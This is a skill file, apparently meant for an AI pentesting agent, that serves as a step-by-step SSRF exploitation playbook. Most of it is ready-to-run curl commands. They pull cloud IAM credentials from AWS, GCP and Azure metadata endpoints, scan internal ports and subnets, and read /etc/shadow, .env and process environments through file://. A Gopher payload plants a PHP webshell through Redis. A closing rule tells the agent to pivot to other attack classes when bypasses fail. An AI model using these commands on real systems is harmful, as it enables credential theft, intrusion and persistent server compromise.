---
name: ssrf
description: "Server-Side Request Forgery (SSRF) — exploiting server-side URL fetching to access internal services, cloud metadata (AWS/GCP/Azure), internal APIs, and port scanning. Covers IP bypass techniques, DNS rebinding, Gopher protocol smuggling, and redirect-based bypass."
metadata:
  mitre_attack: T1190
  when_to_use: "ssrf, server side request forgery, url fetch, internal service, cloud metadata, 169.254.169.254, imds, metadata endpoint, redirect, gopher, dns rebinding, internal network, localhost access, port scan ssrf, url parameter, fetch url"
---

# Server-Side Request Forgery (SSRF)

Exploits server-side URL fetching to access internal services, cloud metadata, or internal APIs not reachable from external networks.

## Detection
```bash
# Test with callback server
curl -s 'https://<TARGET>/fetch?url=http://<CALLBACK>/ssrf_test' -o ssrf_callback.txt

# Test localhost access
curl -s 'https://<TARGET>/fetch?url=http://127.0.0.1/' -o ssrf_localhost.txt

# Common SSRF parameters: url, uri, path, src, dest, redirect, img, load, page, feed, to, out, ref
```

## Cloud Metadata Exploitation
```bash
# AWS IMDSv1
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/' -o ssrf_aws_meta.txt
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' -o ssrf_aws_role.txt
# Then fetch role credentials:
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>' -o ssrf_aws_creds.txt

# GCP
curl -s 'https://<TARGET>/fetch?url=http://metadata.google.internal/computeMetadata/v1/?recursive=true' -H 'Metadata-Flavor: Google' -o ssrf_gcp_meta.txt

# Azure
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01' -H 'Metadata: true' -o ssrf_azure_meta.txt

# DigitalOcean
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/metadata/v1.json' -o ssrf_do_meta.txt
```

## Internal Service Scanning
```bash
# Scan internal ports via SSRF
for port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do
    curl -s -o /dev/null -w "Port $port: %{http_code} (%{time_total}s)\n" \
        "https://<TARGET>/fetch?url=http://127.0.0.1:${port}/"
done > ssrf_port_scan.txt

# Internal network scanning
for i in $(seq 1 254); do
    curl -s -o /dev/null -w "10.0.0.$i: %{http_code} (%{time_total}s)\n" \
        "https://<TARGET>/fetch?url=http://10.0.0.${i}/" --max-time 3
done > ssrf_internal_scan.txt
```

## Bypass Techniques
```bash
# IP address variations for 127.0.0.1
# Decimal: 2130706433
# Hex: 0x7f000001
# Octal: 0177.0.0.1
# IPv6: [::1], [0000::1]
# Shorthand: 127.1, 127.0.1

# DNS rebinding — point DNS to 127.0.0.1

# URL encoding
# http://%31%32%37%2e%30%2e%30%2e%31/

# Redirect bypass — host a redirect from your server to internal target
# https://<YOUR_SERVER>/redirect?to=http://169.254.169.254/latest/meta-data/
```

## Gopher Protocol
```bash
# Gopher SSRF to interact with internal services (Redis, MySQL, etc.)
# Redis — flush and write webshell
GOPHER_PAYLOAD="gopher://127.0.0.1:6379/_*3%0d%0a\$3%0d%0aset%0d%0a\$1%0d%0a1%0d%0a\$34%0d%0a<?php%20system(\$_GET['cmd']);?>%0d%0a*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$3%0d%0adir%0d%0a\$13%0d%0a/var/www/html%0d%0a*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$10%0d%0adbfilename%0d%0a\$9%0d%0ashell.php%0d%0a*1%0d%0a\$4%0d%0asave%0d%0a"

curl -s "https://<TARGET>/fetch?url=${GOPHER_PAYLOAD}" -o ssrf_gopher.txt
```

## Application-Feature SSRF

When the application mediates server-side HTTP requests through a feature (not a raw `?url=` parameter), look for these vectors:

```bash
# Markdown/HTML renderer — image and link tags trigger server-side fetch
# Submit as markdown content:
#   ![x](http://127.0.0.1/admin)
#   [x](http://127.0.0.1:8080/internal)

# PDF generator (HTML-to-PDF) — iframe or img src
# Submit as HTML content:
#   <iframe src="http://localhost/admin"></iframe>
#   <img src="http://169.254.169.254/latest/meta-data/">

# Webhook/callback URL — application calls back to attacker-controlled URL
# Set webhook URL to: http://127.0.0.1:<PORT>/admin

# Import-from-URL / avatar-from-URL features
curl -s -X POST 'https://<TARGET>/import' \
  -d 'url=http://127.0.0.1:8080/admin' -o ssrf_import.txt

# Probe common restricted admin ports through any SSRF vector
for port in 80 443 3000 5000 8000 8080 8443 9000; do
    curl -s -o ssrf_admin_${port}.txt \
      'https://<TARGET>/<SSRF_VECTOR>' \
      --data-urlencode "url=http://127.0.0.1:${port}/admin"
    echo "Port $port: $(wc -c < ssrf_admin_${port}.txt) bytes"
done
```

## Local File Read via file://

When the server-side fetcher supports the `file://` scheme:

```bash
# Read sensitive files via file:// scheme
curl -s 'https://<TARGET>/fetch?url=file:///.env' -o ssrf_env.txt
curl -s 'https://<TARGET>/fetch?url=file:///etc/shadow' -o ssrf_shadow.txt

# Common sensitive files
curl -s 'https://<TARGET>/fetch?url=file:///etc/passwd' -o ssrf_passwd.txt
curl -s 'https://<TARGET>/fetch?url=file:///proc/self/environ' -o ssrf_environ.txt
curl -s 'https://<TARGET>/fetch?url=file:///proc/self/cmdline' -o ssrf_cmdline.txt

# App source / config (adjust path to match observed framework)
curl -s 'https://<TARGET>/fetch?url=file:///app/app.py' -o ssrf_source.txt
curl -s 'https://<TARGET>/fetch?url=file:///var/www/html/config.php' -o ssrf_config.txt
```

## Circuit-Breaker — Dead-End Detection (MANDATORY)

SSRF bypass research is a vast space (CRLF, IPv6, DNS rebinding, `@`-syntax, IP encoding, Unicode normalization, …). Iterating bypass variants against ONE target endpoint that returns the SAME error response is rarely productive — the underlying block is usually `parse_url()` host validation or a curl `--protocols` allowlist that no syntax variant defeats.

**Rule**: After **3 consecutive failures with identical error signature** against the same target host:port via the same SSRF vector, STOP iterating SSRF bypasses on that target. Write `exploit/PIVOT.md` documenting tried variants, then pivot to:

1. A **different vuln class** named in recon `SUMMARY.md` (most common win — recon usually surfaces 2-3 attack classes; pick the next one).
2. A **stored-input rendering surface** — many CRUD apps that have SSRF also have stored XSS / SSTI on a different field (see `ssti.md` Twig "Multi-surface rendering rule").
3. **`file://` or `gopher://`** locally — if `parse_url()` accepts these, you don't need to escape the host check.
4. **Loopback to the front-end app's own admin/debug routes**: `http://host.docker.internal:<APP_PORT>/admin`, `/debug`, `/.git/config`, `/server-status`.

```bash
# Failure-signature check — match identical responses to detect dead-end loop
LAST=""; STRIKES=0
for variant in raw encoded ipv6 rebind; do
  RESP=$(curl -s "http://<TARGET>/<SSRF_VECTOR>" --data-urlencode "url=<variant>" | md5sum | cut -d' ' -f1)
  [ "$RESP" = "$LAST" ] && STRIKES=$((STRIKES+1)) || STRIKES=0
  LAST=$RESP
  [ $STRIKES -ge 3 ] && echo "DEAD END — PIVOT" && break
done
```

**Anti-pattern**: 20+ SSRF bypass attempts against a single port that consistently returned "Failed to fetch URL" or identical error pages. The block is upstream of URL syntax — the variant space is exhausted.
